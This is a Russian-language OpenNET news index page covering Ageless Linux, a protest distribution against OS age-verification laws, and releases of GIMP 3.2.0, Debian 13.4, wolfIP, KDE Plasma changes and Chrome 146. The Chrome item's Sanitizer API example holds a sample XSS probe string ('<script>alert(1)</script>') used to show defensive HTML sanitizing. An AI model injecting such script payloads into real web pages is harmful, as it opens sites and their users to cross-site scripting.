The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

·15.03 Создан дистрибутив Ageless Linux для противодействия законам о проверке возраста (82 +17)
  Опубликован дистрибутив Ageless Linux, созданный для противостояния законам, предписывающим добавление в операционные системы API для проверки возраста пользователей. Ageless Linux отмечен как дистрибутив для людей неопределённого возраста, принципиально не соответствующий законам о проверке возраста. Среди прочего, дистрибутив реализует заглушку с API для верификации возраста пользователей, всегда возвращающую неопределённый возраст.

Для установки предлагается скрипт become-ageless.sh, позволяющий сконвертировать любой уже установленный Debian GNU/Linux в Ageless Linux. Скрипт заменяет файл /etc/os-release и включает в него информацию о несоблюдении законов о проверке возраста (COMPLIANCE_STATUS="refused", API_STATUS="refused", VERIFICATION_STATUS="flagrantly noncompliant"), добавляет каталог /etc/ageless/ с отчётами о нарушаемых законах и реализует прототип фиктивного API для выдачи приложениям информации о возрасте пользователей. Реализация API сводится к скрипту /etc/ageless/age-verification-api.sh, который на все запросы выдаёт ошибку "ERROR: Age data not available" с примечанием, что все пользователи в системе имеют неопределённый возраст.

По мере реализации механизмов проверки возраста в дистрибутивах, скрипт намерены расширять средствами для удаления или блокирования подобных механизмов в различных дистрибутивах. Например, в случае реализации D-Bus интерфейса "org.freedesktop.AgeVerification1" в Fedora Linux, скрипт будет адаптирован для применения в Fedora для удаления обработчика, реализующего данный интерфейс, или предоставления пакетов в альтернативным обработчиком, возвращающим неопределённый возраст. Аналогично, в случае появления запроса возраста в инсталляторе Ubuntu, скрипт будет расширен для удаления данного запроса, а если Debian интегрирует в сервис AccountsService передачу информации о возрасте, проект Ageless Linux возьмёт на себя поддержание изменённого форка AccountsService.

Принятые или находящиеся на стадии утверждения законы, предписывающие реализацию проверки возраста, не запрещают распространение операционных систем без подтверждения возраста, но предусматривают штрафы к поставщикам, ответственным за разработку, лицензирование или установку подобных операционной системы. После запуска скрипта от проекта Ageless Linux пользователь принимает на себя роль "поставщика операционной системы". Предполагается, что если ребёнок воспользуется компьютером с Ageless Linux, установивший данный дистрибутив пользователь может рассматриваться как поставщик, предоставивший операционную систему ребёнку без указания его возраста во время создания учётной записи. При этом предполагается, что в подобной ситуации нет пострадавших детей, а есть лишь лица, чей возраст неизвестен.

Проект также намерен распространять устройства на базе платформы Milk-V Duo S, удовлетворяющие предписаниям Закона Калифорнии AB1043, но намеренно не выполняющие его требования. Также планируется запустить каталог приложений store.agelesslinux.org, через который предоставить возможность установки на распространяемых устройствах среды обучения языку Python, текстового редактора, игры "Змейка", IRC-клиента с предупреждением об опасности общения с незнакомыми людьми и 8-строчный скрипт "peepee", выводящий на экран слово "peepee" (предполагается, что за установку подобного скрипта без верификации возраста можно получить штраф).

Создатели Ageless Linux пытаются продемонстрировать абсурдность вводимых законов проверки возраста, распространяя устройства с явным, документированным и преднамеренным нарушением закона AB1043, сулящего получение штрафа. В январе 2027 года подобные устройства планируют раздавать детям на школьных ярмарках и библиотечных мероприятиях. Отмечается, что получение штрафа лучше всяких обсуждений раскроет суть витиеватых формулировок в законе и позволит понять, подпадает ли изменяющий систему bash-скрипт под определение "поставщик операционной системы", считается ли специализированная плата "устройством общего назначения" и можно ли наложить штрафы за "каждого пострадавшего ребёнка" в случае отсутствия возможности посчитать пострадавших детей.

По мнению автора проекта, принимаемые законы о проверке возраста являются скорее защитным барьером и созданием инфраструктуры слежки, чем заботой о безопасности детей. Предъявляемым законом требованиям уже соответствуют крупнейшие производители, такие как Apple, Google и Microsoft, но при этом законы могут привести к неподъёмным издержкам у небольших производителей ОС и проектов, развиваемых энтузиастами. Во многих случаях не реализовавшим требования проверки возраста проектам проще отказаться от распространения в юрисдикциях с подобными законами, так как затраты на юридическую защиту превысят годовой бюджет большинства открытых проектов.

Напомним, что в ряде штатов США продвигаются законопроекты, предписывающие добавление в операционные системы возможности для указания возраста пользователя на этапе регистрации учётной записи и предоставления приложениям программного интерфейса для определения возрастной группы текущего пользователя (младше 13 лет, от 13 до 16 лет, от 16 до 18 лет, 18 лет и старше) для соблюдения законодательства о защите детей в интернете. За невыполнение требований предусмотрены штрафы до $2500 за неумышленное и до $7500 за умышленное нарушение в отношении каждого пострадавшего ребёнка.

Добавление API для запроса приложениями информации о возрасте пользователя уже обсуждается разработчиками дистрибутивов Ubuntu, Debian, Fedora, Linux Mint и NixOS. Конкретные решения ещё не приняты, но рассматривается возможность реализации необходимого API через xdg-desktop-portal или сервис AccountsService с отправкой запросов через новый D-Bus интерфейс "org.freedesktop.AgeVerification1". Руководитель компании System76, разрабатывающей дистрибутив Pop!_OS, пообщался с сенатором штата Колорадо, являющимся соавтором законопроекта о проверке возраста, который предложил подготовить поправки к законопроекту для исключения открытого ПО из области его действия.

Проект MidnightBSD добавил на страницу загрузки предупреждение о запрете использования MidnightBSD жителям штата Калифорния с 1 января 2027 года и Бразилии с 17 марта 2026 года из-за вступления в силу законов о верификации возраста. В случае утверждения законопроектов запрет также распространится на штаты Колорадо, Иллинойс и Нью-Йорк. Утверждается, что разработчики MidnightBSD планируют выполнить требования законов Калифорнии, Колорадо и Иллинойса, но не станут пытаться соответствовать требованиям законов Бразилии и Нью-Йорка, так как MidnightBSD не является коммерческой компанией и не имеет средств для оплаты сервисов верификации.

  1. Главная ссылка к новости
  2. OpenNews: В Калифорнии утверждён законопроект об интеграции в ОС API для проверки возраста
Обсуждение (82 +17) | Тип: К сведению |


·14.03 Релиз графического редактора GIMP 3.2.0 (57 +30)
  После года разработки представлен релиз графического редактора GIMP 3.2.0. Готовые сборки опубликованы для Linux (AppImage, ожидается Flatpak), Windows и macOS.

Среди наиболее значимых улучшений в GIMP 3.2:

  • Добавлена поддержка слоёв-ссылок (Link layer), позволяющих прикрепить внешние файлы с изображениями в качестве отдельных слоёв. В GIMP к слоям-ссылкам применяется режим недеструктивного редактирования, т.е. манипуляции со слоями-ссылками не влияют на состояние привязанных исходных изображений.

    Например, если добавить SVG-файл как слой-ссылку, то после редактирования этого файла в векторном графическом редакторе Inkscape, содержимое слоя в GIMP будет автоматически синхронизировано с состоянием отредактированного файла. При этом если в GIMP отмасштабировать или повернуть содержимое слоя-ссылки, то данные изменения не повлияют на качество исходного изображения.

    В будущем планируют добавить возможность привязки не только целых изображений, но отдельных слоёв, т.е. как слои-ссылки можно будет привязать выбранные слои из отдельного XCF-файла.

  • Добавлена поддержка векторных слоёв (Vector layer), позволяющих создавать фигуры с заданными свойствами заливки и обводки. Данные хранятся в векторном виде, что позволяет в любой момент изменить контуры фигур (path), выбрать другой цвет заливки или обводки и применить к слою инструменты трансформации в недеструктивном режиме. Для создания векторного слоя следует создать фигуру при помощи инструмента "Контуры" (Path) и нажать кнопку генерации векторного слоя для фигуры, после чего можно, например, повернуть или масштабировать векторный слой без потери качества исходной фигуры.
  • Добавлена поддержка нового формата кистей, задействованного в программе для цифровой живописи MyPaint 2.0. Движок для работы с кистями MyPaint теперь учитывает масштаб и поворот холста при рисовании, что позволяет более точно симулировать реальные мазки кистью. В состав GIMP добавлено более 20 новых кистей из набора Dieterle, входящего в состав MyPaint Brushes 2, включая кисти для рисования стрелок и постеризации.
  • Реализованы опции для отрисовки эскизов кистей, шрифтов и палитр с использованием цветов фона и переднего плана активной темы оформления. Например, при выборе тёмного режима оформления кисти теперь могут отображаться светлым цветом на тёмном фоне, а не только на белом фоне.
  • В инструмент для работы с кистями MyPaint добавлен ползунок "Усиление" (Gain), при помощи которого можно управлять реагированием на степень нажатия при рисовании, например, для симуляции более сильного или слабого нажатия на кисть при рисовании мышью.
  • Добавлена возможность недеструктивного применения фильтров к каналам, по аналогии с тем, как это уже реализовано для слоёв. В панели "Каналы" появился столбец Fx и доступна возможность редактирования, перегруппировки, удаления и объединения фильтров. Проведён рефакторинг реализации недеструктивного редактирования изображений, позволивший упростить дальнейшее расширение функциональности и сопровождение кода, а также избавиться от некоторых ошибок.
  • В интерфейсе выбора цвета, соответствующего схеме CMYK (CMYK Color Selector), реализован расчёт покрытия чернил (Ink Coverage, количество чернил, наносимых на бумагу в одном месте). При подготовке изображения к печати данный параметр позволяет оценить превышение пороговых значений в системах печати (например, слишком большой Ink Coverage может привести к смазыванию или не подходить для используемого типа бумаги).
  • Предложен новый режим смешивания при рисовании - "Overwrite", позволяющий напрямую заменять пиксели в области рисования без смешивания значений прозрачности кисти и существующих пикселей. Режим в основном предназначен для применения с инструментом "карандаш" и может использоваться для пиксельной графики, когда нужно добиться однородной непрозрачности, на которую не влияют уровни прозрачности исходной области.
  • В инструмент для работы с текстом добавлена опция для управления направлением окантовки. Например, контур вокруг букв можно направлять внутрь, наружу или в обоих направлениях.
  • Реализована возможность перемещения всплывающего окна редактора текста над холстом в любое место, не меняя расположение самой редактируемой области. Произведён рефакторинг кода, решивший проблемы с рендерингом текста при очень больших разрешениях. Добавлено сочетание клавиш для вставки неотформатированного текста из буфера обмена (по-умолчанию назначено на Shift + Ctrl + V) по аналогии с ранее добавленными сочетаниями клавиш для форматирования жирным шрифтом, курсивом и подчёркиванием.

  • Добавлена дополнительная тема оформления "System Colors", при выборе которой цвета в интерфейсе автоматически подстраиваются под настройки активных системных тем в Linux и Windows, и обновляются при изменении системной темы.
  • Добавлен GEGL Filter Browser, интерфейс для навигации по фильтрам на базе библиотеки GEGL (Generic Graphics Library). При помощи GEGL Filter Browser можно посмотреть список доступных операций GEGL (фильтров) и информацию по их использованию.



  • В инструменте для создания и редактирования текстовых слоев реализована поддержка комбинаций клавиш "Ctrl + B", "Ctrl + I" и "Ctrl + U" для применения жирного начертания, курсива и подчёркивания. Обеспечено изменение цвета контура текста в реальном времени сразу после изменения цвета в окне выбора цвета, не дожидаясь подтверждения выбора.
  • Представлен новый интерфейс плагина Animation Playback, оформленный в стиле видеоплееров, таких как VLC. Вместо индикатора прогресса задействован слайдер, позволяющий переместится на нужный кадр.
  • Учтены системные настройки для отключения анимированных эффектов.
  • В полях для ввода значений с размером в диалогах настройки сетки и разрешения монитора разрешено использовать математические выражения, например, "3 * 92cm".
  • Внесены изменения для упрощения в будущем портирования на GTK4. Например, осуществлён уход от использования GtkTreeView в пользу GtkListBox.
  • Добавлена возможность быстрого возврата к прошлому инструменту по сочетанию клавиш (по умолчанию назначено на Shift + X). Несмотря на то, что с технической точки зрения GIMP рассматривает применение фильтров (например, яркость-контаст) как применение инструментов (таких как вращение и кисть), в угоду интуитивности данное сочетание клавиш будет переключаться исключительно между состояниями, отображаемыми в интерфейсе в форме инструментов.
  • Появилась возможность открывать множество изображений с помощью перетаскивания файлов на строку вкладок изображений.
  • Добавлена возможность перетаскивания образцов цветов из истории применённых цветов. Ранее это не было возможным из-за смещения фокуса на кнопки соответствующего окна.
  • Для 64-разрядных сборок GIMP с 1024 пикселей до 8192 пикселей увеличен максимальный размер временных кистей и шаблонов. Для 32-разрядных сборок ограничение не изменилось.
  • Добавлена возможность загрузки преднастроек кривых и уровней, используемых в фильтрах Photoshop, и их использование в фильтрах GIMP.
  • Обеспечено открытие любых форматов изображений, упакованных в архивы, сжатые алгоритмами, поддерживаемыми в GIMP (ранее такая поддержка была доступна для сжатых файлов в формата XCF).
  • Добавлена поддержка загрузки RAW-изображений с камер, используя приложение ART (AnotherRawTherapee, форк RawTherapee).
  • Добавлена поддержка экспорта палитры в формате kpl для использования в графическом редакторе Krita.
  • Реализована возможность импорта анимированных изображений в формате APNG.
  • Добавлена поддержка загрузки многослойных изображений в формате OpenEXR.
  • Добавлена поддержка экспорта в формате JPEG 2000 (ранее поддерживался только импорт).
  • Добавлена поддержка импорта и экспорта изображений и текстур в формате TIM, применявшемся в играх для приставки Sony Playstation 1.
  • Добавлена поддержка импорта и экспорта изображений в формате OpenRaster, использующих расширения для запоминания выбранных и заблокированных слоёв.
  • Добавлена поддержка формата OTA Bitmap (Over The Air Bitmap), использовавшегося для кодирования черно-белых изображений на старых телефонах Nokia.
  • Добавлена поддержка импорта изображений в форматах AVCI (Advanced Video Coding), JIF (Jeff’s Image Format, расширенный вариант GIF), HRZ, PAA, PVR (PowerVR), SFW93A, SFW94A и HEJ2 (JPEG 2000 в контейнере HEIF), также импорта pat-файлов с шаблонами Photoshop.
  • Добавлен новый плагин экспорта в формате SVG, позволяющий включать растровые слои в формате PNG или JPEG.
  • Добавлена возможность экспорта векторных изображений в формате PDF.
  • Расширена поддержка формата TIFF, для которого реализована возможность загрузки данных о видимости слоёв, режимов смешивания и тегов цветов.
  • Добавлена поддержка экспорта изображений в формате PSB, используемом в Photoshop и отличающемся от формата PSD возможностью работы с очень крупными изображениями, разрешение которых превышает 30000 пикселей. При импорте PSD/PSB обеспечено распознание и конвертация применения недеструктивных фильтров Drop Shadow и Inner Shadow.

  1. Главная ссылка к новости
  2. OpenNews: Уязвимости в GNOME Help и GIMP, позволяющие выполнить код при открытии файлов
  3. OpenNews: Релиз графического редактора GIMP 3.0.0
  4. OpenNews: Обновление графического редактора GIMP 3.0.8
  5. OpenNews: Выпуск графического редактора Pinta 3.1
  6. OpenNews: Обновление редактора векторной графики Inkscape 1.4.3
Обсуждение (57 +30) | Тип: Программы | Интересно


·14.03 Выпуск дистрибутива Debian 13.4 (31 +14)
  Сформировано четвёртое корректирующее обновление дистрибутива Debian 13, в которое включены накопившиеся обновления пакетов и добавлены исправления в инсталлятор. Выпуск включает 111 обновлений с устранением проблем со стабильностью и 67 обновлений с устранением уязвимостей. Из изменений в Debian 13.4 можно отметить обновление до свежих стабильных версий пакетов arduino-core-avr, capstone, flatpak, mariadb, openssl, postgresql, qemu, samba, wireless-regdb, wireshark, xen, zabbix.

Для загрузки и установки "с нуля" подготовлены установочные сборки c Debian 13.4. Системы, установленные ранее и поддерживаемые в актуальном состоянии, получают обновления, присутствующие в Debian 13.4, через штатную систему установки обновлений. Исправления проблем безопасности, включённые в новые выпуски Debian, доступны пользователям по мере выхода обновлений через сервис security.debian.org.

  1. Главная ссылка к новости
  2. OpenNews: В Debian 14 намерены прекратить поставку GTK2
  3. OpenNews: В Debian 14 намерены удалить слой для совместимости systemd со скриптами sysv-init
  4. OpenNews: Новые версии Debian 13.3 и 12.13
  5. OpenNews: Выпуск дистрибутива Devuan 6.1, форка Debian без systemd
Обсуждение (31 +14) | Тип: Программы |


·14.03 wolfIP и passt - легковесные стеки TCP/IP, работающие без динамического выделения памяти (75 +23)
  Разработчики криптографической библиотеки wolfSSL развивают TCP/IP стек wolfIP, оптимизированный для использования на встраиваемых устройствах, имеющих ограниченные ресурсы, а также для систем, работающих в режиме реального времени, и решений, требующих повышенной надёжности (Safety-Critical). Для предсказуемого потребления ресурсов в wolfIP не используется динамическое выделение памяти - все буферы и таблицы сокетов имеют фиксированный размер и настраиваются на этапе компиляции. Код проекта написан на языке Си и распространяется под лицензией GPLv3.

Проект может использоваться в качестве работающего в пользовательском пространстве TCP/IP-стека, подменяющего сетевой стек Linux, FreeBSD и macOS, а также пригодного для применения во встраиваемых системах на базе FreeRTOS, SafeRTOS, Zephyr, Azure RTOS ThreadX, NuttX, RTEMS, VxWorks и QNX. Помимо этого на базе wolfIP могут создаваться самодостаточные сетевые приложения, запускаемые поверх оборудования (bare-metal). В сочетании с библиотекой wolfSSL предоставляется поддержка TLS 1.3, что позволяет создавать компактные встраиваемые системы, поддерживающие HTTPS.

Основные особенности wolfIP:

  • Использование при обработке сетевых пакетов предварительно выделенных в статической памяти буферов. Вызовы malloc и free не используются.
  • Возможность использования вместо штатных системных сетевых стеков на POSIX-системах.
  • Поддержка BSD-сокетов в неблокирующем и блокирующем режиме.
  • Компактный размер (4200 строк кода, в 4 раза меньше TCP/IP стека lwIP).
  • Поддержка сетевых интерфейсов STM32 Ethernet.
  • Возможность использования сетевого интерфейса TAP для тестирования работы без оборудования.
  • Разработка с оглядкой на системы с повышенными требованиями к безопасности: детерминированная и воспроизводимая конфигурация; модель развёртывания, обеспечивающая безопасность (Secure-by-default); изоляция между компонентами. Поддержка безопасного обновления версий; длительное сопровождение.
  • Учёт требований к высоконадёжным системам: отсутствие динамического выделения ресурсов; фиксированные пулы памяти; контролируемое использование ресурсов; предсказуемое поведение; упрощённая архитектура; поддержка генерации артефактов для верификации.
  • Реализация IPv4, UDP, TCP, IPSEC, ARP, ICMP, DHCP-клиента, DNS-клиента и HTTP/HTTPS-сервера. Поддержка в реализации TCP RFC 7323 (TCP Timestamps, RTT measurement, PAWS, Window Scaling), MSS (Maximum Segment Size), RTO (Retransmission timeout) и SACK (Selective Acknowledgment). Несколько алгоритмов контроля перегрузки (congestion control).

Из ограничений wolfIP отмечается возможность использования wolfIP только в роли конечного узла, способного принимать и устанавливать соединения, но не поддерживающего маршрутизацию трафика между сетевыми интерфейсами.


В дополнение можно отметить активное развитие сотрудником Red Hat похожего TCP/IP стека passt, работающего в пользовательском пространстве и не использующего динамическое выделение памяти. Проект passt развивается для организации канала связи между хост-окружением и гостевыми системами в QEMU в качестве более безопасной замены libslirp. Код passt написан на языке Си, насчитывает около 5000 строк и распространяется под лицензией GPLv2+.

Из особенностей passt можно отметить: поддержка IPv6 помимо IPv4, оптимизации на базе инструкций AVX2, защита от synflood, встроенная поддержка QEMU, libvirt и Podman, пакеты для всех популярных дистрибутивов, сервис ARP proxy, минималистичные серверы DHCPD, DHCPv6 и NDP, seccomp-профиль для блокирования всех неиспользуемых системных вызовов, поддержка NAT, возможность использования в качестве прозрачной замены slirp4netns.

  1. Главная ссылка к новости
  2. OpenNews: Выпуск криптографической библиотеки wolfSSL 5.0.0
  3. OpenNews: Intel представил сокращённый вариант сетевого стека для Linux
  4. OpenNews: Проект LibOS развивает вариант ядра Linux с сетевым стеком в форме библиотеки
  5. OpenNews: Выпуск сетевого стека F-Stack 1.24, выполняемого в пространстве пользователя
  6. OpenNews: Доступен открытый Wi-Fi стек OpenWifi 1.4
Обсуждение (75 +23) | Тип: Программы |


·14.03 Проект TUI Studio развивает визуальную среду для проектирования консольных интерфейсов (108 –1)
  Открыт код TUI Studio (Visual Terminal UI Designer), среды для визуального проектирования интерфейсов пользователя, работающих в текстовом терминале. Среда позволяет в интерактивном режиме наглядно формировать интерфейс, перетаскивая готовые блоки мышью, редактируя свойства в визуальном режиме и предпросматривая результат на лету. Сформированный макет интерфейса может быть экспортирован для использования во фреймворках Ink, BubbleTea, Blessed, Textual, OpenTUI и Tview.

Проект написан на TypeScript c использованием React, Vite, Zustand, Tailwind CSS и Lucide React. Код распространяется под лицензией MIT. Из особенностей разработки отмечается, что почти весь код TUI Studio написан AI-ассистентом Claude.

В TUI Studio предоставляется более 20 готовых компонентов для формирования интерфейса (кнопки, меню, таблицы, списки, индикатор прогресса, диалоги, всплывающие подсказки и т.п.) и поддерживается 8 тем оформления, а также светлый и тёмный режим, градиентные заливки, ASCII-цвета и акцентные цвета. Имеется возможность отката изменений. Доступен интерфейс для создания своих компонентов. Проекты сохраняются в формате JSON.

  1. Главная ссылка к новости
  2. OpenNews: Релиз консольной библиотеки ncurses 6.6
  3. OpenNews: cool-retro-term - эмулятор терминала, симулирующий вывод на ретро дисплеях
  4. OpenNews: Выпуск системы терминального доступа LTSM 1.0
  5. OpenNews: Первый выпуск эмулятора терминала Ghostty
  6. OpenNews: Первый выпуск Term.Everything для запуска графических приложений в терминале
Обсуждение (108 –1) | Тип: Программы |


·14.03 Выпуск MouseControl 1.0, открытой альтернативы Logitech Options+ (22 +16)
  Опубликован первый выпуск проекта MouseControl, развивающего открытую альтернативу инструментарию Logitech Options+ для настройки раскладки кнопок мышей компании Logitech. В настоящее время проект поддерживает только Bluetooth-мыши Logitech MX Master 3S, но спроектирован для обеспечения поддержки и других моделей устройств. Код проекта написан на Python с использованием QML для интерфейса и распространяется под лицензией MIT. Поддерживаются платформы Windows и macOS (поддержка Linux в списке планов).

В качестве причины разработки открытой альтернативы отмечается недовольство низкой стабильностью работы Logitech Options+ (например, последний выпуск стал потреблять 40-60% ресурсов CPU на устройствах Intel Macbook Pro) и желанием избавиться от отправки телеметрии, привязки к облачному сервису Logitech и необходимости регистрироваться на сайте Logitech.

Среди возможностей MouseControl:

  • Ремапинг всех 6 программно настраиваемых кнопок мыши;
  • Возможность привязки к приложениям отдельных профилей с настройками;
  • Реализация 22 действий, связанных с навигацией, работой в браузере, редактированием и управлением воспроизведением мультимедиа;
  • Настройка DPI и скорости перемещения указателя;
  • Опции для инвертирования направления вертикальной и горизонтальной прокрутки;
  • Автоматическое обновление соединения после временного отключения мыши.
  • Поддержка сворачивания в системный лоток.
  • Хранение настроек в читаемом файле в формате JSON.
  • Графический интерфейс на базе Qt Quick с поддержкой тёмной темы оформления и интерактивными диаграммами.

  1. Главная ссылка к новости
  2. OpenNews: BLUFFS - уязвимости в Bluetooth, позволяющие провести MITM-атаку
  3. OpenNews: Выпуск OpenRGB 0.9, инструментария для управления RGB-подсветкой периферийных устройств
  4. OpenNews: Воссоздание криптографических ключей на основе анализа видео с LED-индикатором питания
  5. OpenNews: В Linux обеспечена возможность устранения уязвимости MouseJack в устройствах Logitech
Обсуждение (22 +16) | Тип: Программы |


·14.03 В KDE реализованы KIO S3, установка звуковых тем из файлов и режим ввода спецсимволов (21 +12)
  Опубликован очередной еженедельный отчёт о разработке KDE, в котором представлены изменения для ветки KDE Plasma 6.7, релиз которой ожидается в июне. Среди внесённых за неделю изменений:
  • Добавлен режим ввода с клавиатуры диакритических знаков и спецсимволов, отсутствующих на физической клавиатуре. При удержании нажатия клавиши, связанной со спецсимволом, теперь показывается всплывающая подсказка, позволяющая во время ввода быстро выбрать нужный спецсимвол. Выбор осуществляется клавишами управления курсором, нажатием упомянутых в подсказке цифр или кликом мыши. Режим реализован в модуле plasma-keyboard и требует включения виртуальной клавиатуры (System Settings > Keyboard > Virtual Keyboard).

  • Предоставлена возможность установки собственных звуковых тем из загруженных архивов, без необходимости их предварительной ручной распаковки в каталог .../share/sounds.
  • Подготовлен обработчик KIO S3, позволяющий напрямую из Dolphin и приложений KDE работать с файлами, хранимыми в S3-совместимых облачных хранилищах, таких как Amazon S3, Cloudflare R2, DigitalOcean Spaces и MinIO.
  • В виджетах для управления буфером обмена и сетевым подключением реализовна унифицированная кнопка возврата на прошлую страницу (на вложенных страницах теперь не показываются две кнопки "Назад").

  • В KRunner по умолчанию включён плагин вывода информации о глобальных комбинациях клавиш.
  • В виджете с реализацией глобального меню обеспечен показ меню для активного окна, даже если это окно размещено на другом экране. Для возвращения старого поведения, при котором меню пропадает после перемещения окна на другой экран, в настройки добавлена специальная опция.
  • При мозаичной компоновке двух смежных окон они теперь равномерно центрируются во всём доступном экранном пространстве с учётом панелей (раньше ближайшее к панели окно сжималось больше, чем другое окно).
  • В изолированных приложениях повышена надёжность инициирования записи скринкастов и запросов к удалённым рабочим столам.
  • Налажено задействование 3D-ускорения в конфигурациях с несколькими GPU, один из которых не поддерживает OpenGL.
  • Решены проблемы работы с буфером обмена в некоторых приложениях на базе фреймворка wxWidgets, таких как KiCad и Audacity. Исправление включено в состав находящейся в разработке ветки wxWidgets 3.3.3.
  • В утилиту kscreen-doctor добавлена поддержка изменения свойства экранов "AutoRotatePolicy", определения активного экрана и одновременного включения/выключения поддержки HDR и расширенного диапазона цветов (Wide Gamut).
  • Опубликован выпуск Marknote 1.5, приложения для создания и управления коллекцией текстовых заметок, сохраняемых в формате Markdown. В новой версии помимо ранее доступного WYSIWYG-режима визуального редактирования текста, добавлен режим для работы с исходной разметкой Markdown. Также добавлена поддержка вставки ссылок между заметками, реализован полнотекстовый поиск и предложен плагин для интеграции с KRunner.

    1. Главная ссылка к новости
    2. OpenNews: Недельный отчёт о разработке KDE. Скруглённый стиль выделения в KDE
    3. OpenNews: Отчёт о разработке KDE. Проект SonicDE продолжил развитие KDE для систем с X11
    4. OpenNews: Релиз среды рабочего стола KDE Plasma 6.6
    5. OpenNews: Плагин к KWin для использования KDE в виртуальной реальности
    6. OpenNews: Проект MiDesktop развивает форк KDE 1 для современных систем
Обсуждение (21 +12) | Тип: Обобщение |


·13.03 Выпуск Chrome 146. Анонсированы официальные Linux-сборки Chrome для ARM64 (67 +1)
  Компания Google опубликовала релиз web-браузера Chrome 146. Одновременно доступен стабильный выпуск свободного проекта Chromium, выступающего основой Chrome. Браузер Chrome отличается от Chromium использованием логотипов Google, наличием системы отправки уведомлений в случае краха, модулями для воспроизведения защищённого от копирования видеоконтента (DRM), системой автоматической установки обновлений, постоянным включением Sandbox-изоляции, поставкой ключей к Google API и передачей RLZ-параметров при поиске. Для тех, кому необходимо больше времени на обновление, отдельно поддерживается ветка Extended Stable, сопровождаемая 8 недель. Следующий выпуск Chrome 147 запланирован на 7 апреля.

Отдельно компания Google анонсировала публикацию официальных сборок Chrome для Linux-систем на базе архитектуры ARM64. Linux-сборки для ARM64 начнут формироваться во втором квартале 2026 года и будут доступны в пакетах deb и rpm. Ранее официальные сборки Chrome для Linux публиковались только для архитектуры x86_64, а для архитектуры ARM64 были доступны только сторонние сборки Chromium, предлагаемые дистрибутивами. Официальная версия Chrome отличается поддержкой подключения к учётной записи в Google, интеграцией сервисов Google, синхронизацией данных между устройствами, упрощённой установкой дополнений из каталога Chrome Web Store и возможностью включения расширенного режима защиты.

Основные изменения в Chrome 146:

  • Для части пользователей включён механизм выборочного ограничения полномочий (Selective permission intervention), который блокирует доступ связанных с показом рекламы JavaScript-скриптов к возможностям, влияющим на конфиденциальность, таким как доступ к информации о местоположении, микрофону, буферу обмена, Bluetooth, USB, последовательному порту и захвату экрана. Идея в том, что если пользователь предоставил странице доступ к подобным возможностям, то эти разрешения не будут применяться для размещённых на этой странице сторонних скриптов, загружаемых с других сайтов (обособленно через тег iframe или напрямую через тег script).
  • Изменена структура настроек, связанных с обеспечением безопасности. Для упрощения пользователю предоставлена возможность выбора между стандартным и усиленным уровнем защиты, что позволяет получить желаемый уровень безопасности без необходимости разбираться в деталях и расширенных опциях. При выборе усиленного режима дополнительно выполняется проверка URL и содержимого на серверах Google, выводятся предупреждения для незащищённых соединений и замедляется работа нетипичных для пользователя сайтов для блокирования атак. При желании пользователь может вернуться к старой схеме раздельного конфигурирования каждой настройки. Для управления включением нового оформления настроек безопасности предложен параметр "chrome://flags/#bundled-security-settings".
  • Продолжено развитие AI-режима, позволяющего взаимодействовать с AI-агентом из адресной строки или со страницы, показываемой при открытии новой вкладки. AI-режим даёт возможность задавать сложные вопросы на естественном языке и получать ответы на основе агрегирования информации из наиболее релевантных страниц на заданную тему. При необходимости пользователь может уточнять информацию наводящими вопросами. Режим также позволяет задавать вопросы о содержимом страницы прямо из адресной строки. В Chrome 146 реализована возможность использования файлов из хранилища Google Drive в качестве контекста для AI-агента.
  • В режиме автоматического заполнения полей предоставлена возможность использования дополнительных типов данных, которые ранее были доступны только при включении режима расширенного автозаполнения (Enhanced autofill).
  • Началось постепенное включение у пользователей защиты от обращения к локальной системе при взаимодействии с публичными сайтами. Обращения с сайтов к IP-адресам локальной сети (интранет или внутренние адреса) или loopback-интерфейсу (127.0.0.0/8) потребует подтверждения операции у пользователя. Под действия защиты попадают попытки загрузки ресурсов, запросы fetch() и iframe-вставки. Защита пока не применяется для соединений через WebSockets, WebTransport и WebRTC, но будет добавлена для них в следующем выпуске.

    Обращение к внутренним ресурсам используются злоумышленниками для косвенной идентификации и осуществления CSRF-атак на маршрутизаторы, точки доступа, принтеры, корпоративные web-интерфейсы и другие устройства и сервисы, принимающие запросы только из локальной сети. Для управления попаданием подсетей в категорию внутренних или публичных предложена настройка LocalNetworkAccessIpAddressSpaceOverrides, а для автоматического разрешения доступа для дочерних iframe на основании полномочий родительского iframe-а добавлена настройка LocalNetworkAccessPermissionsPolicyDefaultEnabled.

  • Добавлены CSS-свойства "animation-trigger" и "trigger-scope" для управления анимацией на основе позиции прокрутки страницы. Например, можно запускать, останавливать или перезапускать анимацию при достижении определённой позиции прокрутки, обходясь только декларативным CSS без использования кода на JavaScript.
  • Реализована поддержка реестра пользовательских элементов для разделения области видимости пользовательских HTML-элементов, что может потребоваться при использовании на одной странице нескольких разных пользовательских HTML-элементов, имеющих одно и то же имя. В случае использования на странице нескольких библиотек, определяющих элемент с одинаковым именем, при помощи JavaScript-объекта CustomElementRegistry элементы каждой библиотеки можно закрепить за определёнными частями иерархии DOM. Например, если две библиотеки определяют разные элементы с одинаковым именем <my-button>, то в одной части страницы можно использовать элемент <my-button> из первой библиотеки, а на другой - из второй.
  • Добавлен API Sanitizer, который может быть полезен для чистки поступающих извне данных и вырезания из них HTML-тегов, которые могут использоваться для совершения XSS-атак. API предоставляет методы для манипуляции HTML и вырезания из содержимого HTML-элементов, влияющих на отображение и исполнение. Для безопасной вставки HTML-содержимого предложен метод element.setHTML(), похожий на element.innerHTML, но защищающий от межсайтового скриптинга (XSS). Для безопасного разбора HTML реализован метод document.parseHTML().
    
       const unsanitizedString = "abc <script>alert(1)<" + "/script> def";
    
       const sanitizer1 = new Sanitizer({
         elements: ["div", "p", "button", "script"],
       });
       const target = document.getElementById("target");
       target.setHTML(unsanitizedString, { sanitizer: sanitizer1 });
    
  • В элементе "meta" реализован параметр с именем "text-scale" (например, <meta name="text-scale" content="scale">), включающий автоматическое масштабирование размера шрифта на странице в соответствии с настройками браузера и операционной системы, если на странице используются относительные единицы измерения (rem и em).
  • В API WebGPU добавлен опциональный режим совместимости, предоставляющий подмножество функций, способных работать на системах с устаревшими графическими API, такими как OpenGL и Direct3D11.
  • В JavaScript добавлена возможность объединять несколько итераторов в один с помощью метода Iterator.concat().
  • В режиме "Origin trials" реализован API WebNN, позволяющий использовать предоставляемые операционной системой сервисы для машинного обучения и связанные с этим аппаратные возможности.
  • В режиме "Origin trials" реализован API CPU Performance для получения информации об уровне производительности и характеристиках процессора (число ядер, тип, архитектура, модель, частота и т.п.).
